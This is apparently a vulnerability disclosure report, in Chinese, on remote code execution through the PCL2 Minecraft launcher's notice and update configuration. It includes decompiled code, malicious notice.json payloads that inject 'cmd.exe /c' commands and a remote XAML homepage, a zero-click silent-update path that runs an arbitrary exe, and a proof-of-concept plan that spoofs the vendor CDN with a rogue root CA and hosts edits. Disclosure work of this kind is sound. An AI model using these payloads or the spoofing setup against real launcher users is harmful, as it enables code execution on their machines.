1
0

README.txt 32 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790
  1. # PCL2 `notice.json` 远程代码执行分析报告
  2. 2026-10-21
  3. 省流:PCL2 在特定情况下有能力从服务器下载命令并执行。
  4. ## 目录
  5. - [0. 摘要](#0-摘要)
  6. - [1. 样本与来源](#1-样本与来源)
  7. - [2. 启动时的远程控制代码](#2-启动时的远程控制代码)
  8. - [3. 利用方法一:notice.json → setup → LaunchAdvanceRun](#method1)
  9. - [4. 利用方法二:notice.cfg + slientupdate → 静默更新 → 任意 exe](#method2)
  10. - [5. 利用方法三:setup → 远程自定义主页 XAML](#method3)
  11. - [6. 为什么这构成"后门"](#6-为什么这构成后门而不只是自动更新)
  12. - [7. PoC](#7-poc)
  13. - [8. 检测与响应](#8-检测与响应)
  14. - [9. 附录](#9-附录)
  15. ## 0. 摘要
  16. 从蓝奏云下载的样本与官方仓库 Hex-Dragon/PCL2 提交 6b9a50df911c9d68b69b24c979efba477fb14b67(2.99.0.0 正式版)中"最新正式版.zip"内的 exe SHA256 一致。
  17. ```
  18. 6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386 Plain Craft Launcher 2.exe
  19. 6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386 official/Plain Craft Launcher 2.exe
  20. ```
  21. 程序每次启动都会连接 HTTP 地址,按版本条件拉三个 JSON/文本:`notice.cfg`、`notice.json`、`ServerConfig.json`。客户端拿到后直接解释执行其中的 `actions`。
  22. 在这个基础上能搭出三条利用方法。
  23. 方法一:`notice.json` → `actions.setup` → `LaunchAdvanceRun` → 游戏启动时 `cmd.exe /c "<任意命令>"`。需求方提供的样本走的就是这条路径,我把它复现成了 launch 模式。
  24. 方法二:`notice.cfg` 写非常高的版本号 → 客户端重新下载攻击者的 `ServerConfig.json` → `Update.Release.DownloadUrls` 指向任意 zip → 解压到 `PCL\` → 用户正常关闭 PCL 时执行 `PCL\Plain Craft Launcher 2.exe`,也就是攻击者的 exe。
  25. 方法三:`setup` 写入 `UiCustomType=2`、`UiCustomNet=<恶意 XAML>`、`HintCustomCommand=true`,下次启动加载远程自定义主页。
  26. 审查代码后的判断是设计上就把服务器下发的 JSON 作为执行目标。`setup` 执行任意命令。
  27. btw,开源仓库里的 `ModSecret.vb` 被刻意删减,远程内容无从审计。
  28. ## 1. 样本与来源
  29. ### 1.1 基本信息
  30. | 项目 | 值 |
  31. |---|---|
  32. | 文件名 | `Plain Craft Launcher 2.exe` |
  33. | 大小 | 5,980,160 字节 |
  34. | 类型 | PE32 GUI,Intel 80386,Mono/.NET assembly |
  35. | 运行时 | .NET Framework 4.x + WPF(`PresentationFramework` / `PresentationCore` / `System.Xaml`) |
  36. | 版本 | `PCL2/2.99.0.0.50`;`VersionCode = 413`;`BuildType = Release(50)` |
  37. | SHA-256 | `6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386` |
  38. ### 1.2 与官方发布包的比对
  39. ```bash
  40. git clone --depth 1 https://github.com/Hex-Dragon/PCL2.git
  41. unzip 最新正式版.zip -d official
  42. sha256sum official/Plain\ Craft\ Launcher\ 2.exe "Plain Craft Launcher 2.exe"
  43. ```
  44. ### 1.3 反编译方法
  45. 使用 ilspycmd 9.1,`-p -o decompiled` 便直接生成工程。
  46. 整个程序 520 个类型,关键文件如下:
  47. - `PCL/ModSecret.cs`:公告、更新、联网配置、土豆码
  48. - `PCL/PageLaunchRight.cs`:自定义主页加载
  49. - `PCL/CustomEvent.cs`:自定义事件
  50. - `PCL/ModBase.cs`:`GetObjectFromXML` / XAML 安全过滤
  51. - `PCL/Settings.cs`:设置项定义与持久化
  52. - `PCL/ModLaunch.cs`:`LaunchAdvanceRun` 的实际执行代码
  53. ### 1.4 并非开源
  54. 官方仓库的 `Plain Craft Launcher 2/Modules/ModSecret.vb` 第一行写着:
  55. ```vb
  56. '由于包含加解密等安全信息,本文件中的部分代码已被删除
  57. ```
  58. 整个文件只剩 203 行,`notice`、`ServerConfig`、`UpdateStart`、`CheckPotatoCode` 这些逻辑一概没有;而发布版二进制里有完整的实现。
  59. 也就是说,远程内容这一整块是闭源的。
  60. 这和社区声称“开源启动器”的论调不符,也是这次"后门"争议的来源。
  61. ## 2. 启动时的远程控制代码
  62. ### 2.1 调用
  63. `FormMain` 初始化完成后启动 `ModSecret.ServerLoader`:
  64. ```csharp
  65. // PCL/ModSecret.cs:382
  66. public static ModLoader.LoaderTask<int, int> ServerLoader =
  67. new ModLoader.LoaderTask<int, int>("PCL 配置更新", ServerSub, null, ThreadPriority.BelowNormal);
  68. ```
  69. `ServerSub`(`ModSecret.cs:1262`)依次做这几件事:
  70. 1. `GET https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}`
  71. 2. 第一段解析成公告编号 `num3`,第五段是服务器配置版本 `num4`
  72. 3. 若本地 `Cache\ServerConfig.json` 的 `Version < num4`,下载 `ServerConfig.json{CDN}`
  73. 4. 若 `num3 > HintNotice` 或缓存不存在,下载 `notice.json{CDN}` 并写入 `%TEMP%\PCL\Cache\Notice.json`
  74. 5. `Settings.Set("HintNotice", num3)`
  75. 6. 反序列化 `notice.json`,逐条匹配 `requirements`,弹出公告,执行 `buttons[].actions` 或顶层 `actions`
  76. 关键代码:
  77. ```csharp
  78. // PCL/ModSecret.cs:1324
  79. text3 = ModNet.NetRequestByClientRetry(
  80. "https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}");
  81. num3 = (int)Math.Round(ModBase.Val(StringExtensions.Split(text3, "|", false)[0]));
  82. // PCL/ModSecret.cs:1382
  83. ModNet.NetDownloadByClient(
  84. "https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN}", text);
  85. // PCL/ModSecret.cs:1403
  86. text4 = ModNet.NetRequestByClientRetry(
  87. "https://pcl2-server-1253424809.file.myqcloud.com/notice.json{CDN}",
  88. null, null, null, null, "*/*", null, RequireJson: true);
  89. FileUtils.Write(ModBase.PathTemp + "Cache\\Notice.json", text4, null);
  90. Settings.Set("HintNotice", num3);
  91. ```
  92. ### 2.2 actions 的完整能力
  93. `ModSecret.cs:1479-1534`:
  94. ```csharp
  95. foreach (JProperty item3 in obj) {
  96. JProperty val4 = item3;
  97. switch (val4.Name) {
  98. case "copy":
  99. ModBase.ClipboardSet(val4.Value.ToString()); // 静默改剪贴板
  100. break;
  101. case "website":
  102. ModBase.OpenWebsite(val4.Value.ToString()); // 打开任意 http(s)
  103. break;
  104. case "stop":
  105. ModMain.FrmMain.EndProgram(SendWarning: false); // 静默退出
  106. break;
  107. case "setup":
  108. JObject val5 = (JObject)val4.Value;
  109. foreach (KeyValuePair<string, JToken> item4 in val5)
  110. Settings.Set(item4.Key, item4.Value.ToString()); // 设置任意的 key👀 What is that?
  111. break;
  112. case "update":
  113. case "slientupdate":
  114. bool flag3 = Operators.CompareString(val4.Name, "slientupdate", false) == 0;
  115. if (!HasUpdatePermission) { ... }
  116. UpdateStart(flag3); // 静默自我更新
  117. break;
  118. default:
  119. throw new Exception("未知的行动支:" + val4.Name + ", " + val4.Value.ToString());
  120. }
  121. }
  122. ```
  123. 其中 `setup` 没有任何 key 白名单/黑名单,遍历字典直接写:
  124. ```csharp
  125. foreach (KeyValuePair<string, JToken> item4 in val5)
  126. Settings.Set(item4.Key, item4.Value.ToString());
  127. ```
  128. `Settings.Set` 会按设置项定义的类型做 `CTypeDynamic` 转换。
  129. ### 2.3 HasUpdatePermission 恒为 true
  130. ```csharp
  131. // PCL/ModSecret.cs:402
  132. private static bool HasUpdatePermission => true;
  133. ```
  134. ### 2.4 阿里纳西?是签名不是签名
  135. `SecretCdnSign`(`ModSecret.cs:428-445`)的算法:
  136. ```text
  137. path = URL 中 "://" 之后的第一个 "/" 起
  138. ts = UTC Unix 秒
  139. rand = 8 位小写十六进制随机数
  140. key = "PCL2Server" // 硬编码在客户端
  141. hash = MD5(path + "-" + ts + "-" + rand + "-0-" + key)
  142. URL = path + "?sign=" + ts + "-" + rand + "-0-" + hash
  143. ```
  144. 签名只能防止"URL 被随意拼接"。
  145. 密钥硬编码在客户端,任何拿到 exe 的人都能生成合法签名。
  146. 然而不是密码学意义上的签名。
  147. ### 2.5 线上公告的真实形态
  148. `notice.json`(2026-10-21 时获取):
  149. ```json
  150. [
  151. {
  152. "id": 230,
  153. "requirements": { "versioncode <=": 413, "versionbranch <=": 0 },
  154. "importantLevel": 1,
  155. "isUpdate": true,
  156. "title": "悲报",
  157. "description": "为遵守相关法律法规,PCL 不再提供 MC 下载功能,非常抱歉 qwq……",
  158. "buttons": [
  159. {
  160. "text": "更新 PCL",
  161. "actions": { "update": { "requireUserInput": true } }
  162. }
  163. ]
  164. }
  165. ]
  166. ```
  167. `ServerConfig.json` 中 `Update.Release.DownloadUrls` 指向下载链接。
  168. ### 2.6 信任边界
  169. ```mermaid
  170. flowchart TD
  171. A["OSS"] -->|"未签名 JSON"| B["PCL 客户端"]
  172. B --> C["actions.setup"]
  173. B --> D["actions.slientupdate"]
  174. B --> E["actions.copy / website / stop"]
  175. C --> F["Settings.Set(任意键)"]
  176. F --> G["LaunchAdvanceRun / UiCustomNet"]
  177. G --> H["cmd.exe /c ..."]
  178. D --> I["UpdateStart(Silent=true)"]
  179. I --> J["ServerConfig.DownloadUrls"]
  180. J --> K["任意 ZIP"]
  181. K --> L["解压"]
  182. L --> M["执行 EXE"]
  183. E --> N["剪贴板 / 浏览器 / 退出"]
  184. ```
  185. 信任边界画在了"TLS 连接"上,而不是"内容"上。TLS 终端(CDN 或中间人)返回什么 JSON,客户端就当成什么厂商指令来执行。`{CDN}` 的 MD5 签名只保证 URL 不被随意拼,管不了内容替换,何况密钥就躺在客户端里。
  186. ## 3. 利用方法一:`notice.json → setup → LaunchAdvanceRun`(点击"启动游戏")<a id="method1" ></a>
  187. ### 3.1 样本
  188. 测试样本:
  189. ```json
  190. [
  191. {
  192. "id": 114514,
  193. "title": "",
  194. "description": "",
  195. "requirements": {},
  196. "actions": {
  197. "setup": {
  198. "LaunchAdvanceRun": "cmd.exe /c calc.exe",
  199. "LaunchAdvanceRunWait": "False"
  200. }
  201. }
  202. }
  203. ]
  204. ```
  205. 这份 JSON 会被 `setup` 逐键写进设置:`LaunchAdvanceRun` 是游戏启动前执行的全局命令(字符串),`LaunchAdvanceRunWait` 控制是否等待命令结束。
  206. 实战里有个坑:`importantLevel` 缺省为 2,而 PCL 会拿它和 `SystemSystemActivity`(用户之前点"不再提示"的等级)比较,如果目标机器上的值比 2 大,这条公告会被直接跳过。PoC 用 `importantLevel: 999` 绕开这一点。
  207. ### 3.2 LaunchAdvanceRun 到底何时执行
  208. 反编译代码里这个设置只有一个消费点:
  209. ```csharp
  210. // PCL/ModLaunch.cs:2865
  211. private static void McLaunchCustom(ModLoader.LoaderTask<int, int> Loader)
  212. {
  213. string text = Settings.Get<string>("LaunchAdvanceRun");
  214. ...
  215. if (Operators.CompareString(text, "", false) != 0)
  216. {
  217. McLaunchLog("正在执行全局自定义命令:" + text, (LogLevel)1);
  218. Process process = ModBase.StartProcess(new ProcessStartInfo
  219. {
  220. FileName = "cmd.exe",
  221. Arguments = $"/c \"{text}\"",
  222. WorkingDirectory = ModMinecraft.McFolderSelected,
  223. UseShellExecute = false,
  224. CreateNoWindow = true
  225. });
  226. if (Settings.Get<bool>("LaunchAdvanceRunWait"))
  227. while (!process.HasExited && !Loader.IsCanceled) Thread.Sleep(10);
  228. }
  229. }
  230. ```
  231. `McLaunchCustom` 是 `McLaunchStart` 加载器的一环(`ModLaunch.cs:482`),只在用户点击"启动游戏"之后执行。
  232. 所以这个形态是一次点击的 RCE:用户点"启动游戏" → `cmd.exe /c "<命令>"`,命令以当前用户权限、无确认框执行。`LaunchAdvanceRunWait=False` 进入后台。
  233. 另有一前提,目标机器上得有可用的 Minecraft 版本,否则会在更早的"获取 Java / 登录 / 补全文件"阶段失败,不然触摸不到 `McLaunchCustom`。
  234. ### 3.3 同一原语还能写哪些危险设置
  235. `setup` 能写任意已存在的设置键(不存在的键会抛 `KeyNotFoundException`,被逐 action 的 try/catch 捕获)。和代码执行、持久化有关的重点设置 key:
  236. | 设置 key | 作用 | 风险 |
  237. |---|---|---|
  238. | `LaunchAdvanceRun` | 游戏启动前 `cmd /c` | 任意命令(利用方法一) |
  239. | `LaunchAdvanceRunWait` | 是否等待命令 | 控制阻塞/隐藏 |
  240. | `UiCustomType` / `UiCustomNet` | 自定义主页来源 | 远程 XAML(方法三) |
  241. | `HintCustomCommand` | 跳过自定义事件确认框 | 关闭最后一道确认 |
  242. | `LaunchAdvanceJvm` | 追加 JVM 参数 | `-agentpath` / `-javaagent` 加载任意 DLL/JAR |
  243. | `LaunchAdvanceGame` | 追加游戏参数 | 影响 MC 进程 |
  244. | `ToolDownloadSource` | 下载源 | 改变后续下载来源 |
  245. | `SystemSystemTelemetry` | 匿名遥测开关 | 隐私 |
  246. | `Identify` | 设备识别码 | 指纹/定向 |
  247. ## 4. 利用方法二:`notice.cfg + slientupdate → 静默更新 → 任意 exe` <a id="method2" ></a>
  248. 这个比上一个更强,他是一个 0 click
  249. ### 4.1 提高版本,强制刷新 ServerConfig
  250. `notice.cfg` 的格式是 `id|?|?|?|configVersion`,`ServerSub` 拿第五段和本地 `Cache\ServerConfig.json` 的 `Version` 比较:
  251. ```csharp
  252. double num4 = ModBase.Val(StringExtensions.Split(text3, "|", false)[4]);
  253. if ((double)num < num4) {
  254. ModNet.NetDownloadByClient(
  255. "https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN}", text);
  256. ServerConfig = (JObject)FileUtils.ReadAsJson(text, null, null);
  257. }
  258. ```
  259. 攻击者可以把 `configVersion` 设成 999,所有客户端就会重新下载攻击者的 `ServerConfig.json`。
  260. ### 4.2 slientupdate 选择攻击者的下载 URL
  261. `notice.json`:
  262. ```json
  263. [
  264. {
  265. "id": 114514,
  266. "requirements": {},
  267. "importantLevel": 999,
  268. "actions": { "slientupdate": {} }
  269. }
  270. ]
  271. ```
  272. `UpdateStart(Silent: true)` 的"获取更新信息"任务:
  273. ```csharp
  274. // PCL/ModSecret.cs:1004-1026
  275. JObject val = (JObject)ServerConfig["Update"][ModBase.BuildTypes.Release.ToString()];
  276. if (val.ContainsKey("PatchUrls") && StartsWithF(UpdateMark, "Empty", false))
  277. Urls = val["PatchUrls"].ToObject<List<string>>();
  278. else if (val.ContainsKey("DownloadUrls"))
  279. Urls = val["DownloadUrls"].ToObject<List<string>>();
  280. // 扩展名直接取自 URL
  281. Extension = "." + PathUtils.GetExtension(BeforeLast(Urls.First(), "{CDN}", false));
  282. LocalPath = string.Format("{0}{1}.{2}{3}",
  283. ModMain.RequestTaskTempFolder(), "2.99.0.0", 50, Extension);
  284. ```
  285. `UpdateMark` 的默认值以 `"Empty"` 开头,所以只要攻击者的 `ServerConfig` 不提供 `PatchUrls`,就会落到 `DownloadUrls`。下载 URL 可以是任意 `http(s)://`,扩展名直接取自 URL,这里用 `.zip`。
  286. ### 4.3 解压到 PCL\,退出时执行
  287. ```csharp
  288. // PCL/ModSecret.cs:190-211
  289. internal void _Lambda_0024__2()
  290. {
  291. string text = Paths.Base + "PCL\\Plain Craft Launcher 2.exe";
  292. if (FileUtils.Exists(text)) FileUtils.Delete(text, false);
  293. if (Extension == ".zip")
  294. FileUtils.ExtractToDirectory(LocalPath, Paths.Base + "PCL\\", ...);
  295. else
  296. MsDelta.Apply(ModBase.PathExe, LocalPath, Paths.Base + "PCL\\Plain Craft Launcher 2.exe");
  297. if (IsSilentUpdate) {
  298. IsUpdateWaitingRestart = true;
  299. return;
  300. }
  301. ...
  302. }
  303. ```
  304. ```csharp
  305. // PCL/ModSecret.cs:1084-1097
  306. public static void UpdateRestart(bool TriggerRestartAndByEnd)
  307. {
  308. IsUpdateWaitingRestart = false;
  309. string fileName = Paths.Base + "PCL\\Plain Craft Launcher 2.exe";
  310. string text = $"--update {Process.GetCurrentProcess().Id} " +
  311. $"\"{AppDomain.CurrentDomain.SetupInformation.ApplicationName}\" " +
  312. $"\"{AppDomain.CurrentDomain.SetupInformation.ApplicationName}\" {TriggerRestartAndByEnd}";
  313. ModBase.StartProcess(new ProcessStartInfo(fileName)
  314. {
  315. WindowStyle = ProcessWindowStyle.Hidden,
  316. CreateNoWindow = true,
  317. Arguments = text
  318. });
  319. if (TriggerRestartAndByEnd) ModMain.FrmMain.EndProgram(SendWarning: false);
  320. }
  321. ```
  322. `EndProgram` 在退出前检查 `IsUpdateWaitingRestart` 并调用 `UpdateRestart(TriggerRestartAndByEnd: false)`(`FormMain.cs:1963`)。
  323. ### 4.4 完整时间线(零点击)
  324. ```mermaid
  325. flowchart TD
  326. A["PCL 启动"]
  327. A --> B["GET notice.cfg<br/>configVersion=999"]
  328. B --> C["GET ServerConfig.json<br/>Version=999<br/>DownloadUrls=https://.../update.zip"]
  329. C --> D["GET notice.json<br/>actions.slientupdate"]
  330. D --> E["UpdateStart(Silent=true)"]
  331. E --> F["GET update.zip"]
  332. F --> G["ZIP 内仅包含 Plain Craft Launcher 2.exe<br/>实际为攻击者 EXE"]
  333. G --> H["解压到 PCL目录/PCL/Plain Craft Launcher 2.exe"]
  334. H --> I["IsUpdateWaitingRestart = true"]
  335. I --> J["用户正常关闭 PCL"]
  336. J --> K["EndProgram"]
  337. K --> L["UpdateRestart(false)"]
  338. L --> M["Process.Start<br/>PCL目录/PCL/Plain Craft Launcher 2.exe --update ..."]
  339. M --> N["攻击者 EXE 运行计算器"]
  340. ```
  341. ### 4.5 这里是自动更新!别的启动器都有
  342. 相比较同行,一个正常的自动更新至少应该有签名或 checksum。并且更新来源是固定的。以及可以被检查的任何行为。
  343. 而不是偷偷给你运行一个包,美名其曰静默更新,其他整合包、启动器都有。上面规划是好的,就是执行坏了?
  344. ## 5. 利用方法三:`setup → 远程自定义主页 XAML → 自定义事件执行命令`(一次点击)<a id="method3" ></a>
  345. 这个只需要 `notice.json`,不用碰 `ServerConfig`,适合"只能改公告、不能改更新配置"的场景。
  346. ### 5.1 设置注入
  347. `notice.json`:
  348. ```json
  349. [
  350. {
  351. "id": 11002,
  352. "requirements": {},
  353. "importantLevel": 999,
  354. "actions": {
  355. "setup": {
  356. "UiCustomType": "2",
  357. "UiCustomNet": "https://pcl2-server-1253424809.file.myqcloud.com/Custom.xaml",
  358. "HintCustomCommand": "True"
  359. }
  360. }
  361. }
  362. ]
  363. ```
  364. 三个键各司其职:`UiCustomType=2` 切到联网自定义主页,`UiCustomNet` 给出主页 XAML 地址,`HintCustomCommand=true` 用来跳过 `EventSafetyConfirm` 的"即将执行"确认框。
  365. ### 5.2 主页 XAML 的加载
  366. ```csharp
  367. // PCL/PageLaunchRight.cs:412-419
  368. Content = ModMain.ArgumentReplace(Content, StringUtils.XmlEscape, ReplaceTime: true);
  369. while (Content.Contains("xmlns")) {
  370. Content = StringExtensions.RegexReplace(Content, "xmlns[^\"']*(\"|')[^\"']*(\"|')", "", RegexOptions.None)
  371. .Replace("xmlns", "");
  372. }
  373. Content = "<StackPanel xmlns=\"...\" xmlns:local=\"clr-namespace:PCL;assembly=Plain Craft Launcher 2\" ...>"
  374. + Content + "</StackPanel>";
  375. ((Panel)PanCustom).Children.Add((UIElement)ModBase.GetObjectFromXML(Content));
  376. ```
  377. `GetObjectFromXML` 会做一次类型/成员黑名单检查:
  378. ```csharp
  379. // PCL/ModBase.cs:1418-1447
  380. Type[] array = { typeof(WebBrowser), typeof(Frame), typeof(MediaElement),
  381. typeof(ObjectDataProvider), typeof(XamlReader), typeof(Window),
  382. typeof(XmlDataProvider), typeof(SettingService) };
  383. foreach (Type type in array) {
  384. if (val.Type != null && type.IsAssignableFrom(val.Type.UnderlyingType))
  385. throw new UnauthorizedAccessException($"基于安全考虑,不允许使用 {type.Name} 类型。");
  386. if (val.Value != null && ConditionalCompareObjectEqual(val.Value, type.Name, false))
  387. throw new UnauthorizedAccessException($"基于安全考虑,不允许使用 {type.Name} 值。");
  388. }
  389. string[] array2 = { "Code", "FactoryMethod", "Static" };
  390. ```
  391. 黑名单挡住了 `ObjectDataProvider` / `x:Static` / `FactoryMethod` 这类"XAML 直接调任意方法"的经典原语,但挡不住 PCL 自家控件加自定义事件的组合,也就是 `local:MyButton` + `CustomEventService`。
  392. ### 5.3 自定义事件执行命令
  393. ```csharp
  394. // PCL/CustomEvent.cs:129-150
  395. case EventType.执行命令:
  396. ModBase.RunInThread(() => {
  397. string[] absoluteUrls = GetAbsoluteUrls(text, Type);
  398. string text3 = absoluteUrls[0]; // 文件名
  399. string text4 = absoluteUrls[1]; // 工作目录
  400. if (EventSafetyConfirm("即将执行:" + text3 + " " + text2))
  401. ModBase.StartProcess(new ProcessStartInfo {
  402. Arguments = text2,
  403. FileName = text3,
  404. WorkingDirectory = text4
  405. });
  406. });
  407. break;
  408. ```
  409. ```csharp
  410. // PCL/CustomEvent.cs:455-470
  411. private static bool EventSafetyConfirm(string Message)
  412. {
  413. if (Settings.Get<bool>("HintCustomCommand")) return true; // 公告已置 true
  414. switch (ModMain.MyMsgBox(Message + "\r\n请在确认没有安全隐患后再继续。",
  415. "执行确认", "继续", "继续且今后不再要求确认", "取消")) {
  416. case 1: return true;
  417. case 2: Settings.Set("HintCustomCommand", true); return true;
  418. default: return false;
  419. }
  420. }
  421. ```
  422. PoC 用的 `Custom.xaml`(见 `poc/server.ps1` / `poc/server.py`):
  423. ```xml
  424. <StackPanel Margin="25,40,23,15">
  425. <TextBlock Text="PCL PoC - click Continue" FontSize="16" Margin="0,0,0,10"/>
  426. <local:MyButton Text="Continue" EventType="4" EventData="C:\Users\Public\pclpoc.exe"
  427. Margin="0,6,0,0"/>
  428. </StackPanel>
  429. ```
  430. 几个细节:`EventType="4"` 就是"执行命令",枚举顺序是 `None=0, 打开网页=1, 打开文件=2, 打开帮助=3, 执行命令=4`;`EventData` 是"程序|参数"格式,这里只给了程序路径;`GetObjectFromXML` 会把裸的 `EventType=` / `EventData=` 重写成 `local:CustomEventService.EventType=` / `.EventData=`,所以 XAML 里不用自己写前缀。用户点按钮 → `MyButton.Button_MouseUp` → `RaiseCustomEvent` → `CustomEvent.Raise(执行命令, ...)` → `Process.Start`。
  431. ### 5.4 为什么这个不是"零点击"
  432. WPF 的 XAML 解析器对依赖属性直接调 `DependencyObject.SetValue`,绕过 CLR 包装属性;而 `MyCheckBox.Checked` 的 `RaiseCustomEvent` 在 CLR setter(`SetChecked`)里,不在 DP 的 `PropertyChangedCallback` 里。所以在 XAML 里写 `Checked="True"` 不会自动触发事件——这也是我们没把"解析即执行"当主要方法的原因。方法三需要用户真的点一下页面控件。
  433. 不过按钮完全可以伪装成"进入游戏""刷新""同意"这类高点击率元素,再配合 `HintCustomCommand=true`,点击之后没有任何二次确认。
  434. ## 6. 为什么这是"后门",不是自动更新?
  435. | 能力 | 实现 | 后门特征 |
  436. |---|---|---|
  437. | 启动即连固定 C2 | `notice.cfg` / `notice.json` / `ServerConfig.json` | 每次启动自动回连 |
  438. | 远程任意设置 | `setup` + `Settings.Set` | 可改启动参数、主页、更新源、安全开关 |
  439. | 远程静默更新 | `slientupdate` + `UpdateStart(true)` | 可替换自身为任意 exe |
  440. | 远程退出/剪贴板/开网页 | `stop` / `copy` / `website` | 可做定向操作 |
  441. | 无 Authenticode | PE Security Directory = 0 | 替换/篡改难被发现 |
  442. | 闭源关键模块 | 官方源码删除 `ModSecret` 公告逻辑 | 不可审计 |
  443. | 设备指纹 | `Identify`(主板 `LastConfig` + 持久随机数) | 可定向投递 |
  444. 我们在这里研究的是“能不能”,不是作者“会不会?”
  445. 历史是一本教科书,他告诉我们人们不能从历史吸取教训。
  446. Android 某 Root 程序 S……e 在服务器塞反注入代码,有两种行为,其一随机卡死手机,其二抹掉数据。目的是好的——反盗版说是,只是执行坏了——反盗版机制会干掉正版用户。
  447. 知名第三方聊天软件 N……m,开源软件不放任何恶意代码,发布版本写入自动上传代码。作者声称:
  448. > If your question is, “Is it true?”, the answer is yes, numbers were sent to the bot. But not a single number has been stored anywhere or shared with anyone ever.
  449. >
  450. > Some people are asking for an “explanation”, but what kind of explanation do you want? It sends your phone number, it is what it is.
  451. 你信吗?
  452. 那 PCL 作者,你信吗?
  453. ### 6.1 侏罗纪老头进蓝奏云放的
  454. 截至笔者完成本报告,没有发现第三方二次打包或额外植入的恶意代码。依据如下:
  455. - 样本 SHA-256 与官方仓库发布包 SHA256 一致;
  456. - PE 只有 3 个节,是正常 .NET assembly,没有加壳或附加节;
  457. - 出站域名主要是官方 CDN、GitHub/CNB、BMCLAPI、Modrinth/CurseForge、微软登录、腾讯云 CLS 遥测,以及 `PageLaunchRight` 里列出的社区主页预设(如 `qawsedrftgyhujiko.fun`、`g-fish.dpdns.org` 等,均为用户可选的"主页预设",不是隐藏 C2);
  458. - 没有发现隐藏的 `cmd.exe`/PowerShell 拼接、反射加载任意 URL、计划任务/服务安装这类典型木马行为(`cmd.exe` 只出现在游戏启动、更新安装等常规路径)。
  459. 真正的问题在官方本身。
  460. ### 6.2 攻击链映射(MITRE ATT&CK)
  461. | 阶段 | 技术 | 本报告对应 |
  462. |---|---|---|
  463. | 初始访问/供应链 | T1195 Supply Chain Compromise | 控制 CDN / 构建 / 更新源 |
  464. | 资源开发 | T1587 Develop Capabilities | 伪造 `notice.json` / `ServerConfig` |
  465. | 执行 | T1059.003 Windows Command Shell | `LaunchAdvanceRun` → `cmd /c` |
  466. | 执行 | T1204.002 User Execution: Malicious File | 主页按钮/"启动游戏"点击 |
  467. | 持久化 | T1546 Event Triggered Execution | 公告每次启动执行 |
  468. | 防御规避 | T1553 Subvert Trust Controls | 无 Authenticode/内容签名;关闭确认框 |
  469. | 命令与控制 | T1105 Ingress Tool Transfer | `certutil` / 任意 `.zip` 下载 |
  470. | 影响 | T1554 Compromise Host Software Binary | 静默替换 `PCL\Plain Craft Launcher 2.exe` |
  471. ## 7. PoC
  472. ### 7.1 设计
  473. 我们模拟官方服务器。
  474. 1. 生成 CA,并为 `pcl2-server-1253424809.file.myqcloud.com` 签发叶子证书;
  475. 2. 把 CA 装进 Windows 根证书存储;
  476. 3. 改 hosts,把公告域名指到 `127.0.0.1`;
  477. 4. 本地 443 起 HTTPS 服务器,返回伪造的 `notice.cfg` / `notice.json` / `ServerConfig.json` / `update.zip` / `Custom.xaml`;
  478. 5. 启动 PCL,按模式触发:`launch` 是启动后点"启动游戏";`update` 是等静默更新 staging 后关闭 PCL;`xaml` 是第一次启动写设置、第二次启动点页面按钮;
  479. 6. payload 写 `%TEMP%\pcl-poc-marker.txt` 并启动 `calc.exe`;
  480. 7. 清理 hosts / 根证书 / PCL 注册表与 staging。
  481. ### 7.2 文件清单
  482. ```text
  483. poc/
  484. ├── server.ps1 # 纯 PowerShell HTTPS 伪造服务器(默认,无需 Python)
  485. ├── server.py # Python 版服务器(-Server python 时使用)
  486. ├── Invoke-PCLPoC.ps1 # Windows 管理员一键脚本(自签证书/hosts/启动/清理)
  487. ├── certs/
  488. │ ├── ca.crt / ca.key # 实验室 CA
  489. │ └── server.crt / server.key # 为公告域名签发的 leaf
  490. ├── samples/ # 需求方原始 notice.json 与计算器变体
  491. ├── www/ # update.zip / 静态文件(运行时生成)
  492. └── README.md # 运行说明
  493. ```
  494. ### 7.3 前置条件
  495. - Windows 虚拟机;
  496. - PCL2 2.99.0.0(样本 exe);
  497. - .NET Framework 4.8(Windows 自带);
  498. - 管理员权限(改 hosts、装根证书、监听 443);Windows PowerShell 5.1(脚本会自动从 pwsh 7 切回 5.1);
  499. - `launch` 模式需要一个可启动的 Minecraft 实例;
  500. - 首次运行 PCL 需先手动接受 EULA 并初始化。
  501. ### 7.4 运行
  502. ```powershell
  503. # 以管理员身份打开 PowerShell
  504. cd <PCL目录>\poc
  505. powershell -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
  506. ```
  507. - `-Mode update`:零点击方法二。脚本启动 PCL,等 `PCL\Plain Craft Launcher 2.exe` staging 出现,关闭 PCL,校验 `%TEMP%\pcl-poc-marker.txt` 与 `calc.exe`。
  508. - `-Mode launch`:利用方法一。脚本启动 PCL 后提示你点"启动游戏",然后校验 marker。
